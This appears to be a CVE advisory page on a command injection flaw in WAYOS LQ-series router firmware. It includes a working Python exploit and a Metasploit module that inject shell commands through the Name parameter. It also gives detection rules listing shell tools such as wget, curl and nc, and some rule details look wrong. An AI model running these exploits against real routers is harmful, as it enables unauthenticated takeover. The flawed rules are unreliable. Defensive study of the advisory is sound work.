CVE-2025-11045
Executive Summary
CVE-2025-11045 is a critical command injection vulnerability affecting multiple WAYOS router models (LQ_04, LQ_05, LQ_06, LQ_07, LQ_09) running firmware version 22.03.17. The flaw resides in the /usb_paswd.asp endpoint, where the Name parameter is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. With a CVSS score of 7.3, this vulnerability poses a significant threat to network integrity and confidentiality. Public exploit code is available, increasing the risk of widespread exploitation. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded network devices (WAYOS routers). Supply chain risk is elevated due to the lack of vendor patch and the public availability of exploit details.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full system read access.
- Integrity Impact: High (I:H) – Full system write access.
- Availability Impact: High (A:H) – Potential denial of service.
Threat Level: Critical. The combination of remote exploitability, low complexity, and public exploit code makes this a high-priority target for threat actors.
Deep Dive & Mechanics
The vulnerability is a classic command injection flaw in the WAYOS router web interface. The /usb_paswd.asp endpoint is designed to manage USB storage passwords. The Name parameter is passed to a system shell command (likely via system() or popen()) without proper sanitization or escaping.
Root Cause: The application fails to validate or sanitize user-supplied input in the Name parameter. When this input is concatenated into a shell command, an attacker can inject arbitrary commands using shell metacharacters such as ;, |, &, or backticks.
Attack Flow:
- Attacker sends a crafted HTTP POST request to
/usb_paswd.aspwith a maliciousNameparameter. - The router's web server processes the request and constructs a shell command like:
echo <Name> > /tmp/usb_passwd. - Due to lack of sanitization, the injected command (e.g.,
; id > /tmp/out) is executed by the shell. - The attacker can then retrieve the output or execute further commands.
Affected Models: LQ_04, LQ_05, LQ_06, LQ_07, LQ_09 (all running firmware 22.03.17).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Pseudocode for /usb_paswd.asp handler
char cmd[256];
snprintf(cmd, sizeof(cmd), "echo %s > /tmp/usb_passwd", request->getParameter("Name"));
system(cmd);
Patched Code (Conceptual):
// Patched version with input validation
char *name = request->getParameter("Name");
if (name == NULL || contains_shell_metacharacters(name)) {
return_error("Invalid input");
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "echo %s > /tmp/usb_passwd", escape_shell_arg(name));
system(cmd);
Key Differences:
- Input validation: Patched code rejects inputs containing shell metacharacters.
- Proper escaping: Patched code uses
escape_shell_arg()to neutralize special characters. - No official patch is available from WAYOS at this time.
Exploitation & Lab Setup
Red Team (Offensive)
Exploit Code (Python):
#!/usr/bin/env python3
import requests
import sys
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_ip> <command>")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2]
url = f"http://{target}/usb_paswd.asp"
payload = {"Name": f"; {cmd} ;"}
try:
r = requests.post(url, data=payload, timeout=10)
print(f"[+] Exploit sent to {target}")
print(f"[+] Command: {cmd}")
print(f"[+] Response: {r.text}")
except Exception as e:
print(f"[-] Error: {e}")
Usage:
python3 exploit.py 192.168.1.1 "id"
Metasploit Module (Conceptual):
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WAYOS LQ Series Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in WAYOS LQ_04, LQ_05,
LQ_06, LQ_07, and LQ_09 routers running firmware 22.03.17.
},
'Author' => ['Valters IT'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2025-11045']],
'DisclosureDate' => '2025-03-01',
'Targets' => [['Automatic', {}]],
'Payload' => {'BadChars' => "\x00"},
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI path', '/usb_paswd.asp']),
])
end
def exploit
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'Name' => "; #{payload.encoded} ;"
}
})
end
end
Blue Team (Defensive)
Lab Setup:
- Isolate a vulnerable WAYOS router in a VLAN with no internet access.
- Use a jump box to simulate attacker traffic.
- Monitor with Wireshark and a SIEM (e.g., Splunk, ELK).
Detection Steps:
- Monitor HTTP POST requests to
/usb_paswd.aspwith unusualNameparameters. - Look for shell metacharacters (
;,|,&,`,$()) in theNamefield. - Alert on outbound connections from the router to unknown IPs (post-exploitation C2).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/usb_paswd.aspwithNameparameter containing shell metacharacters. - Outbound connections from the router to unusual IP addresses on non-standard ports.
- DNS queries to suspicious domains from the router.
Host IOCs:
- Unexpected files in
/tmp/directory (e.g.,/tmp/out,/tmp/exploit). - Unusual processes running on the router (check via
psor web interface). - Modified system binaries or configuration files.
File IOCs:
/tmp/usb_passwdcontaining shell command output./etc/passwdor/etc/shadowmodified (if attacker escalates privileges).
Detection Engineering
YARA Rule
rule CVE_2025_11045_WAYOS_Command_Injection {
meta:
description = "Detects command injection attempts against WAYOS routers"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-11045"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$injection1 = /Name=[^&]*[;&|`$]/
$injection2 = /Name=[^&]*\b(cat|id|whoami|uname|ls|ps|wget|curl|nc|bash|sh)\b/
$uri = "/usb_paswd.asp"
condition:
$uri and ($injection1 or $injection2)
}
Sigma Rule
title: WAYOS Router Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /usb_paswd.asp with command injection patterns
author: Valters IT
date: 2025-03-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-11045
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/usb_paswd.asp'
keywords:
- 'Name='
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in passwords (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-11045 WAYOS Router Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/usb_paswd.asp";
http_uri;
content:"Name=";
http_client_body;
pcre:"/Name=[^&]*[;&|`$]/";
sid:1000001;
rev:1;
reference:cve,2025-11045;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Disconnect WAYOS LQ_04, LQ_05, LQ_06, LQ_07, and LQ_09 routers from untrusted networks.
- Disable remote management: If possible, disable the web interface on WAN-facing interfaces.
- Apply firewall rules: Block inbound HTTP traffic to the router's management interface from untrusted sources.
Long-term Fix:
- Vendor patch: Monitor WAYOS official channels for a firmware update. No patch is currently available.
- Replace hardware: Consider replacing affected routers with patched or alternative models.
- Network segmentation: Place routers in a separate VLAN with strict access controls.
Workaround:
- If the
/usb_paswd.aspendpoint is not required, block access to it via web server configuration or firewall rules.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert